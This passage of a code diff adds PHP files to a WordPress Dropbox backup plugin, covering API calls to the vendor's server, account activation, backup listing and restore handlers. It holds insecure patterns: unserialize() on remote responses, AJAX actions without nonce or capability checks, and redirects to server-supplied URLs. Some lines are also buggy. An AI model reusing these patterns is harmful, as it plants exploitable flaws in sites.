+ if (isset($_SESSION['errorMsgWpadm'])) {
389
+ $error = $_SESSION['errorMsgWpadm'];
390
+ if($del) {
391
+ unset($_SESSION['errorMsgWpadm']);
392
+ }
393
+ }
394
+ return $error;
395
+ }
396
+
397
+ protected static function setMessage($msg)
398
+ {
399
+ if (!empty($msg)) {
400
+ $_SESSION['msgWpadm'] = isset($_SESSION['msgWpadm']) ? $_SESSION['msgWpadm'] . '<br />' . $msg : $msg;
401
+ }
402
+ }
403
+ protected static function getMessage($del = false)
404
+ {
405
+ $msg = "";
406
+ if (isset($_SESSION['msgWpadm'])) {
407
+ $msg = $_SESSION['msgWpadm'];
408
+ if($del) {
409
+ unset($_SESSION['msgWpadm']);
410
+ }
411
+ }
412
+ return $msg;
413
+ }
414
+
415
+
416
+
417
+ public static function sendToServer($postdata = array(), $stat = false)
418
+ {
419
+ if (count($postdata) > 0) {
420
+
421
+ if ($stat) {
422
+ if ($counter_id = get_option(_PREFIX_STAT . 'counter_id')) {
423
+ $postdata['counter_id'] = $counter_id;
424
+ }
425
+ }
426
+ $postdata = http_build_query($postdata, '', '&');
427
+
428
+ $length = strlen($postdata);
429
+
430
+
431
+ if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
432
+ if ($stat) {
433
+ $url = SERVER_URL_VISIT_STAT . "/Api.php";
434
+ } else {
435
+ $url = WPADM_URL_BASE . "api/";
436
+ }
437
+ $curl = curl_init($url);
438
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
439
+ curl_setopt($curl, CURLOPT_POST, true);
440
+ curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
441
+ self::$result = curl_exec($curl);
442
+ curl_close($curl);
443
+ if ($stat) {
444
+ return unserialize(self::$result);
445
+ } else {
446
+ return json_decode(self::$result, true);
447
+ }
448
+ } elseif (function_exists("fsockopen")) {
449
+ if ($stat) {
450
+ $url = SERVER_URL_STAT;
451
+ $req = '/Api.php';
452
+ } else {
453
+ $url = substr(WPADM_URL_BASE, 7);
454
+ $req = '/api/';
455
+ }
456
+ $out = "POST " . $req . " HTTP/1.1\r\n";
457
+ $out.= "HOST: " . $url . "\r\n";
458
+ $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
459
+ $out.= "Content-Length: ".$length."\r\n";
460
+ $out.= "Connection:Close\r\n\r\n";
461
+ $out.= $postdata."\r\n\r\n";
462
+ try {
463
+ $errno='';
464
+ $errstr = '';
465
+ $socket = @fsockopen($url, 80, $errno, $errstr, 30);
466
+ if($socket) {
467
+ if(!fwrite($socket, $out)) {
468
+ throw new Exception("unable to write fsockopen");
469
+ } else {
470
+ while ($in = @fgets ($socket, 1024)) {
471
+ self::$result .= $in;
472
+ }
473
+ }
474
+ self::$result = explode("\r\n\r\n", self::$result);
475
+ if ($stat) {
476
+ return unserialize(self::$result);
477
+ } else {
478
+ return json_decode(self::$result, true);
479
+ }
480
+ throw new Exception("error in data");
481
+ } else {
482
+ throw new Exception("unable to create socket");
483
+ }
484
+ fclose($socket);
485
+ } catch(exception $e) {
486
+ return false;
487
+ }
488
+ }
489
+ }
490
+ }
491
+
492
+ public static function activatePlugin()
493
+ {
494
+ if (isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
495
+ $email = trim(stripslashes(strip_tags($_POST['email'])));
496
+ $password = trim(strip_tags($_POST['password']));
497
+ $password_confirm = trim(strip_tags($_POST['password-confirm']));
498
+ $sent = true;
499
+ if (empty($email)) {
500
+ self::setError("Error, Email is empty.");
501
+ $sent = false;
502
+ }
503
+ if (!preg_match("/^([a-z0-9_\-]+\.)*[a-z0-9_\-]+@([a-z0-9][a-z0-9\-]*[a-z0-9]\.)+[a-z]{2,4}$/i", $email)) {
504
+ self::setError("Error, Incorrect Email");
505
+ $sent = false;
506
+ }
507
+ if (empty($password)) {
508
+ self::setError("Error, Password is empty.");
509
+ $sent = false;
510
+ }
511
+ if (strlen($password) < self::MIN_PASSWORD) {
512
+ self::setError("Error, the minimum number of characters for the password \"" . self::MIN_PASSWORD . "\".");
513
+ $sent = false;
514
+ }
515
+
516
+ if ($password != $password_confirm) {
517
+ self::setError("Error, passwords do not match");
518
+ $sent = false;
519
+ }
520
+ if ($sent) {
521
+ $info = self::$plugin_name;
522
+ $mail = get_option(PREFIX_BACKUP_ . "email");
523
+ if ($mail) {
524
+ add_option(PREFIX_BACKUP_ . "email", $email);
525
+ } else {
526
+ update_option(PREFIX_BACKUP_ . "email",$email);
527
+ }
528
+ $data = self::sendToServer(
529
+ array(
530
+ 'actApi' => "activate",
531
+ 'email' => $email,
532
+ 'password' => $password,
533
+ 'url' => get_option("siteurl"),
534
+ 'plugin' => $info,
535
+ )
536
+ );
537
+ $res = self::setResponse($data);
538
+ }
539
+ }
540
+ if (isset($res['url']) && !empty($res['url'])) {
541
+ header("Location: " . $res['url']);
542
+ } else {
543
+ header("Location: " . admin_url("admin.php?page=wpadm_plugins"));
544
+ }
545
+ }
546
+
547
+ public static function include_admins_script()
548
+ {
549
+ wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/template/css/admin-style-wpadm.css", dirname(__FILE__) ) );
550
+
551
+ wp_enqueue_script( 'js-admin-wpadm-db', plugins_url( "/template/js/admin-wpadm.js", dirname(__FILE__) ) );
552
+ wp_enqueue_script( 'postbox' );
553
+
554
+ }
555
+ protected static function read_backups($dirs_read = false)
556
+ {
557
+ $name = get_option('siteurl');
558
+
559
+ $name = str_replace("http://", '', $name);
560
+ $name = str_replace("https://", '', $name);
561
+ $name = preg_replace("|\W|", "_", $name);
562
+ $name .= '-' . self::$type . '-' . date("Y_m_d_H_i");
563
+
564
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP ;
565
+
566
+ $backups = array('data' => array(), 'md5' => '');
567
+
568
+ $backups['data'] = self::getBackups($dir_backup, $dirs_read);
569
+
570
+ $backups['data'] = array_merge($backups['data'], self::getBackups(ABSPATH . WPADM_DIR_NAME, $dirs_read) );
571
+ $backups['data'] = array_merge($backups['data'], self::getBackups(WPADM_DIR_BACKUP, $dirs_read) );
572
+
573
+ $backups['md5'] = md5( print_r($backups['data'] , 1) );
574
+ return $backups;
575
+ }
576
+
577
+ protected static function getBackups($dir_backup, $dirs_read)
578
+ {
579
+ $backups = array();
580
+ if (is_dir($dir_backup)) {
581
+ $i = 0;
582
+ $dir_open = opendir($dir_backup);
583
+ while($d = readdir($dir_open)) {
584
+ if ($d != '.' && $d != '..' && is_dir($dir_backup . "/$d") && strpos($d, self::$type) !== false) {
585
+ $backups[$i]['dt'] = self::getDateInName($d);
586
+ $backups[$i]['name'] = "$d";
587
+ if ($dirs_read === false) {
588
+ $size = 0;
589
+ $dir_b = opendir($dir_backup . "/$d");
590
+ $count_zip = 0;
591
+ $backups[$i]['files'] = "[";
592
+ while($d_b = readdir($dir_b)) {
593
+ if ($d_b != '.' && $d_b != '..' && file_exists($dir_backup . "/$d/$d_b") && substr($d_b, -3) != "php") {
594
+ $backups[$i]['files'] .= "$d_b,";
595
+ $size += filesize($dir_backup . "/$d/$d_b");
596
+ $count_zip = $count_zip + 1;
597
+ }
598
+ }
599
+ $backups[$i]['files'] .= ']';
600
+ $backups[$i]['size'] = $size;
601
+ $backups[$i]['type'] = 'local';
602
+ $backups[$i]['count'] = $count_zip;
603
+ }
604
+ $i += 1;
605
+ }
606
+ }
607
+ }
608
+ return $backups;
609
+ }
610
+ public static function check_plugin($name = "", $version = false)
611
+ {
612
+ if (!empty($name)) {
613
+ if ( ! function_exists( 'get_plugins' ) ) {
614
+ require_once ABSPATH . 'wp-admin/includes/plugin.php';
615
+ }
616
+ $name2 = str_replace("-", "_", $name);
617
+ $plugin = get_plugins("/$name");
618
+ if (empty($plugin)) {
619
+ $plugin = get_plugins("/$name2");
620
+ }
621
+ if (count($plugin) > 0) {
622
+ if (isset(self::$plugins[$name]) && (isset($plugin["$name.php"]) || isset($plugin["$name2.php"]))) {
623
+ if ($version) {
624
+ if (self::$plugins[$name] == $plugin["$name.php"]['Version']) {
625
+ return true;
626
+ }
627
+ if (self::$plugins[$name] == $plugin["$name2.php"]['Version']) {
628
+ return true;
629
+ }
630
+ } else {
631
+ if (is_plugin_active("$name/$name.php") || is_plugin_active("$name/$name2.php") || is_plugin_active("$name2/$name2.php")) {
632
+ return true;
633
+ }
634
+ }
635
+ }
636
+ }
637
+ return false;
638
+ }
639
+ }
640
+ }
641
+ }
642
+
643
+ if (! function_exists('wpadm_plugins')) {
644
+ function wpadm_plugins()
645
+ {
646
+ global $wp_version;
647
+
648
+ $c = get_system_data();
649
+ $phpVersion = $c['php_verion'];
650
+ $maxExecutionTime = $c['maxExecutionTime'];
651
+ $maxMemoryLimit = $c['maxMemoryLimit'];
652
+ $extensions = $c['extensions'];
653
+ $disabledFunctions = $c['disabledFunctions'];
654
+ //try set new max time
655
+
656
+ $newMaxExecutionTime = $c['newMaxExecutionTime'];
657
+ $upMaxExecutionTime = $c['upMaxExecutionTime'];
658
+ $maxExecutionTime = $c['maxExecutionTime'];
659
+
660
+ //try set new memory limit
661
+ $upMemoryLimit = $c['upMemoryLimit'];
662
+ $newMemoryLimit = $c['newMemoryLimit'];
663
+ $maxMemoryLimit = $c['maxMemoryLimit'];
664
+
665
+ //try get mysql version
666
+ $mysqlVersion = $c['mysqlVersion'];
667
+
668
+ $show = !get_option('wpadm_pub_key') || (!is_super_admin() || !is_admin()) || !@get_option(_PREFIX_STAT . 'counter_id');
669
+ ?>
670
+
671
+
672
+ <?php if (!$show) {?>
673
+ <div class="cfTabsContainer">
674
+ <div id="cf_signin" class="cfContentContainer" style="display: block;">
675
+ <form method="post" action="<?php echo WPADM_URL_BASE . "user/login" ; ?>" autocomplete="off" target="_blank">
676
+ <div class="inline" style="width: 52%; margin-top: 0; color: #fff;">
677
+ WPAdm Sign-In:
678
+ <input class="input-small" type="email" required="required" name="username" placeholder="Email">
679
+ <input class="input-small" type="password" required="required" name="password" placeholder="Password">
680
+ <input class="button-wpadm" type="submit" value="Sign-In" name="submit" style="margin-top:1px;">
681
+ </div>
682
+ <div class="wpadm-info-auth" style="width: 45%;">
683
+ Enter your email and password from an account at <a href="http://www.wpadm.com" target="_blank" style="color: #fff;" >www.wpadm.com</a>.<br /> After submitting user credentials you will be redirected to your Admin area on <a href="http://www.wpadm.com" style="color: #fff;" target="_blank">www.wpadm.com</a>.
684
+ </div>
685
+ </form>
686
+ </div>
687
+ </div>
688
+ <?php } else {?>
689
+ <div class="cfTabsContainer" style="display: none;">
690
+ <div id="cf_activate" class="cfContentContainer">
691
+ <form method="post" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
692
+ <div class="wpadm-info-title">
693
+ Free Sign Up to use more functionality...
694
+ </div>
695
+ <div class="wpadm-registr-info">
696
+ <table class="form-table">
697
+ <tbody>
698
+ <tr valign="top">
699
+ <th scope="row">
700
+ <label for="email">E-mail</label>
701
+ </th>
702
+ <td>
703
+ <input id="email" class="regular-text" type="text" name="email" value="">
704
+ </td>
705
+ </tr>
706
+ <tr valign="top">
707
+ <th scope="row">
708
+ <label for="password">Password</label>
709
+ </th>
710
+ <td>
711
+ <input id="password" class="regular-text" type="password" name="password" value="">
712
+ </td>
713
+ </tr>
714
+ <tr valign="top">
715
+ <th scope="row">
716
+ <label for="password-confirm">Password confirm</label>
717
+ </th>
718
+ <td>
719
+ <input id="password-confirm" class="regular-text" type="password" name="password-confirm" value="">
720
+ </td>
721
+ </tr>
722
+ <tr valign="top">
723
+ <th scope="row">
724
+ </th>
725
+ <td>
726
+ <input class="button-wpadm" type="submit" value="Register & Activate" name="submit">
727
+ </td>
728
+ </tr>
729
+ </tbody>
730
+ </table>
731
+ </div>
732
+ <div class="wpadm-info">
733
+ <span style="font-weight:bold; font-size: 14px;">If you are NOT registered at WPAdm,</span> enter your email and password to use as your Account Data for authorization on WPAdm. <br /><span style="font-weight: bold;font-size: 14px;">If you already have an account at WPAdm</span> and you want to Sign-In, so please, enter your registered credential data (email and password twice).
734
+ </div>
735
+ </form>
736
+ </div>
737
+ </div>
738
+ <?php } ?>
739
+
740
+ <script>
741
+ jQuery(document).ready(function() {
742
+ jQuery('.plugins-icon').click(function() {
743
+ title = jQuery(this).parent('.plugins-title');
744
+ box = title.parent('.plugins-box');
745
+ content = box.find('.plugins-info-content');
746
+ display = content.css('display');
747
+ if (display == 'none') {
748
+ content.show('slow');
749
+ } else {
750
+ content.hide('slow');
751
+ }
752
+ })
753
+ })
754
+ function showRegistartion(show)
755
+ {
756
+ if (show) {
757
+ jQuery('.cfTabsContainer').show('slow');
758
+ } else {
759
+ jQuery('.cfTabsContainer').hide('slow');
760
+ }
761
+ }
762
+ </script>
763
+
764
+ <div class="clear" style="margin-bottom: 50px;"></div>
765
+ <table class="wp-list-table widefat fixed" >
766
+ <thead>
767
+ <tr>
768
+ <th></th>
769
+ <th>Recommended value</th>
770
+ <th>Your value</th>
771
+ <th>Status</th>
772
+ </tr>
773
+ </thead>
774
+ <tbody>
775
+ <tr>
776
+ <th scope="row">PHP Version</th>
777
+ <td><?php echo PHP_VERSION_DEFAULT ?> or greater</td>
778
+ <td><?php echo check_version($phpVersion , PHP_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $phpVersion .'</span>' : $phpVersion ?></td>
779
+ <td><?php echo (check_version($phpVersion , PHP_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your PHP version to get it working correctly</span>') ?></td>
780
+ </tr>
781
+ <tr>
782
+ <th scope="row">MySQL Version</th>
783
+ <td><?php echo MYSQL_VERSION_DEFAULT ?> or greater</td>
784
+ <td><?php echo check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $mysqlVersion .'</span>' : $mysqlVersion; ?></td>
785
+ <td><?php echo (check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your MySQL version to get it working correctly</span>') ?></td>
786
+ </tr>
787
+ <tr>
788
+ <th scope="row">Max Execution Time</th>
789
+ <td><?php echo $newMaxExecutionTime ?></td>
790
+ <td><?php echo ($upMaxExecutionTime == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxExecutionTime .'</span>' : $maxExecutionTime; ?></td>
791
+ <td><?php echo ($upMaxExecutionTime == 1) ? '<span style="color:green; font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
792
+ </tr>
793
+ <tr>
794
+ <th scope="row">Max Memory Limit</th>
795
+ <td><?php echo $newMemoryLimit . 'M' ?></td>
796
+ <td><?php echo ($upMemoryLimit == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxMemoryLimit .'</span>' : $maxMemoryLimit ?></td>
797
+ <td><?php echo ($upMemoryLimit == 1) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
798
+ </tr>
799
+ <tr>
800
+ <th scope="row">PHP Extensions</th>
801
+ <?php $ex = $c['ex']; ?>
802
+ <td><?php echo ( $ex ) === false ? 'All present' : '<span style="color:#ffba00;font-weight:bold;">' . implode(", ", $ex) . '</span>'; ?></td>
803
+ <td><?php echo ( $ex ) === false ? 'Found' : '<span style="color:#ffba00;font-weight:bold;">Not Found</span>'; ?></td>
804
+ <td><?php echo ( $ex ) === false ? '<span style="color:green;font-weight:bold;">Ok</span>' : '<span style="color:#fb8004;font-weight:bold;">Functionality is not guaranteed.</span>'; ?></td>
805
+ </tr>
806
+ <tr>
807
+ <th scope="row">Disabled Functions</th>
808
+ <td colspan="3" align="left"><?php echo ( $func = $c['func']) === false ? '<span style="color:green;font-weight:bold;">All necessary functions are enabled</span>' : '<span style="color:#fb8004;font-weight:bold;">Please enable these functions to get plugin working correctly: ' . implode(", ", $func) . '</span>'; ?></td>
809
+ </tr>
810
+ <tr>
811
+ <th scope="row">Plugin Access</th>
812
+ <td colspan="3" align="left"><?php echo ( ( is_admin() && is_super_admin() ) ? "<span style=\"color:green; font-weight:bold;\">Granted</span>" : "<span style=\"color:red; font-weight:bold;\">To administrate this Plugin(s) is an 'Admin' right required.</span>")?></td>
813
+ </tr>
814
+ </tbody>
815
+ </table>
816
+ <?php
817
+ }
818
+ }
819
+
820
+ if (! function_exists('check_function')) {
821
+ function check_function($func, $search, $type = false)
822
+ {
823
+ if (is_string($func)) {
824
+ $func = explode(", ", $func);
825
+ }
826
+ if (is_string($search)) {
827
+ $search = explode(", ", $search);
828
+ }
829
+ $res = false;
830
+ $n = count($search);
831
+ for($i = 0; $i < $n; $i++) {
832
+ if (in_array($search[$i], $func) === $type) {
833
+ $res[] = $search[$i];
834
+ }
835
+ }
836
+ return $res;
837
+ }
838
+ }
839
+
840
+ if (! function_exists('check_version')) {
841
+ function check_version($ver, $ver2)
842
+ {
843
+ return version_compare($ver, $ver2, ">");
844
+ }
845
+ }
846
+ if (!function_exists('ltrimslashes')) {
847
+ function ltrimslashes($var)
848
+ {
849
+ return ltrim($var, '/');
850
+ }
851
+ }
852
+ if (!function_exists("get_system_data")) {
853
+ function get_system_data()
854
+ {
855
+
856
+ global $wp_version;
857
+
858
+ $phpVersion = phpversion();
859
+ $maxExecutionTime = ini_get('max_execution_time');
860
+ $maxMemoryLimit = ini_get('memory_limit');
861
+ $extensions = implode(', ', get_loaded_extensions());
862
+ $disabledFunctions = ini_get('disable_functions');
863
+ $mysqlVersion = '';
864
+ if (! class_exists('wpdb')) {
865
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
866
+ }
867
+ $mysqli = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
868
+ $errors = $mysqli->last_error;
869
+ if (empty($errors)) {
870
+ $mysqlVersion = $mysqli->db_version();
871
+ }
872
+ $upMaxExecutionTime = 0;
873
+ $newMaxExecutionTime = intval($maxExecutionTime) + 60;
874
+ @set_time_limit( $newMaxExecutionTime );
875
+ if( ini_get('max_execution_time') == $newMaxExecutionTime ){
876
+ $upMaxExecutionTime = 1;
877
+ $maxExecutionTime = ini_get('max_execution_time');
878
+ }
879
+ $upMemoryLimit = 0;
880
+ $newMemoryLimit = intval($maxMemoryLimit) + 60;
881
+ ini_set('memory_limit', $newMemoryLimit.'M');
882
+ if( ini_get('memory_limit') == $newMemoryLimit ){
883
+ $upMemoryLimit = 1;
884
+ $maxMemoryLimit = ini_get('memory_limit');
885
+ }
886
+ $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
887
+ $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
888
+
889
+ $ex = check_function($extensions, $extensions_search);
890
+ $func = check_function($disabledFunctions, $disabledFunctions_search, true);
891
+
892
+ return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
893
+ 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
894
+ 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
895
+ 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
896
+ 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
897
+ 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
898
+ 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
899
+ );
900
+
901
+ }
902
+ }
903
+
904
+ ?>
main/wpadm-class-wp.php ADDED
@@ -0,0 +1,599 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if(@session_id() == '') {
3
+ @session_start();
4
+ }
5
+
6
+ require_once DRBBACKUP_BASE_DIR . "/libs/error.class.php";
7
+ require_once DRBBACKUP_BASE_DIR . "/libs/wpadm.server.main.class.php";
8
+ if (! class_exists("wpadm_wp_full_backup_dropbox") ) {
9
+
10
+ add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
11
+ add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
12
+ add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
13
+ add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
14
+ add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
15
+ add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );
16
+ add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );
17
+
18
+
19
+ add_action('admin_post_wpadm_delete_backup', array('wpadm_wp_full_backup_dropbox', 'delete_backup') );
20
+ add_action('admin_post_dropboxConnect', array('wpadm_wp_full_backup_dropbox', 'dropboxConnect') );
21
+
22
+ add_action('admin_post_login-process', array('wpadm_wp_full_backup_dropbox', 'auth_user') );
23
+
24
+ add_action('admin_post_wpadm_download', array('wpadm_wp_full_backup_dropbox', 'download') );
25
+ add_action('init', array('wpadm_wp_full_backup_dropbox', 'init'), 10 );
26
+
27
+ add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice'));
28
+ add_action('admin_post_hide_notice', array('wpadm_wp_full_backup_dropbox', 'hide_notice') );
29
+
30
+ @set_time_limit(0);
31
+
32
+ class wpadm_wp_full_backup_dropbox extends wpadm_class {
33
+
34
+ const MIN_PASSWORD = 6;
35
+
36
+ public static function auth_user()
37
+ {
38
+ if (isset($_POST['username']) && $_POST['password']) {
39
+ if(!function_exists("wp_safe_remote_post")) {
40
+ include ABSPATH . "/http.php";
41
+ }
42
+ $res = wp_safe_remote_post(SERVER_URL_INDEX, array('username' => $_POST['username'], 'password' => $_POST['password'], 'plugin' => 'dropbox-backup'));
43
+ if (!Empty($res['body'])) {
44
+ $data_res = json_decode($res['body']);
45
+ if (isset($data_res['url'])) {
46
+ header("Location: " . $data_res['url']);
47
+ exit;
48
+ }
49
+ }
50
+ }
51
+ header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
52
+ exit;
53
+ }
54
+
55
+ public static function init()
56
+ {
57
+ parent::$plugin_name = 'dropbox-backup';
58
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
59
+ WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR ;
60
+ }
61
+
62
+ static function include_admins_script()
63
+ {
64
+ wp_enqueue_style('css-admin-wpadm', plugins_url( "/template/css/admin-style-wpadm.css", dirname( __FILE__ )) );
65
+ wp_enqueue_script( 'js-admin-wpadm', plugins_url( "/template/js/admin-wpadm.js", dirname( __FILE__ ) ) );
66
+ wp_enqueue_script( 'postbox' );
67
+ }
68
+
69
+ public static function setUserMail()
70
+ {
71
+ if (isset($_POST['email'])) {
72
+ $email = trim($_POST['email']);
73
+ $mail = get_option(PREFIX_BACKUP_ . "email");
74
+ if ($mail) {
75
+ add_option(PREFIX_BACKUP_ . "email", $email);
76
+ } else {
77
+ update_option(PREFIX_BACKUP_ . "email",$email);
78
+ }
79
+ }
80
+ echo 'true';
81
+ wp_die();
82
+ }
83
+ public static function saveSetting()
84
+ {
85
+ if (isset($_POST['is_admin'])) {
86
+ $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
87
+ if ($dropbox_options) {
88
+ $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
89
+ }
90
+ $dropbox_options['is_admin'] = (int) $_POST['is_admin'];
91
+ update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
92
+ }
93
+ }
94
+
95
+ public static function local_backup()
96
+ {
97
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
98
+ @session_write_close();
99
+ parent::$type = 'full';
100
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
101
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
102
+ }
103
+ WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
104
+ if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP)) {
105
+ $backup = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => 1, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
106
+ $res = $backup->getResult()->toArray();
107
+ $res['md5_data'] = md5( print_r($res, 1) );
108
+ $res['name'] = $backup->name;
109
+ $res['time'] = $backup->time;
110
+ $res['type'] = 'local';
111
+ $res['counts'] = count($res['data']);
112
+ } else {
113
+ $res['result'] = 'error';
114
+ $res['error'] = langWPADM::get('Website "%d" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir".', false, array('%d', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
115
+ $res['data'] = array();
116
+ $res['size'] = 0;
117
+ }
118
+
119
+ @session_start();
120
+ echo json_encode($res);
121
+ wp_die();
122
+
123
+ }
124
+ public static function getLog()
125
+ {
126
+ @session_write_close();
127
+ @session_start();
128
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
129
+ $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
130
+ $log = WPAdm_Core::getLog();
131
+ $log2 = WPAdm_Core::getTmpDir() . "/logs2";
132
+ if (file_exists($log2)) {
133
+ $text = @file_get_contents($log2);
134
+ file_put_contents($log2, $log);
135
+ $log = str_replace($text, "", $log);
136
+ } else {
137
+ file_put_contents($log2, $log);
138
+ }
139
+ $log = explode("\n", $log);
140
+ krsort($log);
141
+ echo json_encode(array('log' => $log));
142
+
143
+ exit;
144
+ }
145
+ public static function restore_backup()
146
+ {
147
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
148
+ @session_write_close();
149
+ parent::$type = 'full';
150
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
151
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
152
+ }
153
+ $name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
154
+ $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
155
+ $res = $backup->getResult()->toArray();
156
+ @session_start();
157
+ echo json_encode($res);
158
+ wp_die();
159
+ }
160
+ public static function wpadm_restore_dropbox()
161
+ {
162
+ require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
163
+ @session_write_close();
164
+ $log_class = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
165
+ if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
166
+ @unlink(WPAdm_Core::getTmpDir() . "/logs2");
167
+ }
168
+ if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
169
+ @unlink(WPAdm_Core::getTmpDir() . "/log.log");
170
+ }
171
+ WPAdm_Core::log( langWPADM::get('Start Restore from Dropbox cloud' , false) );
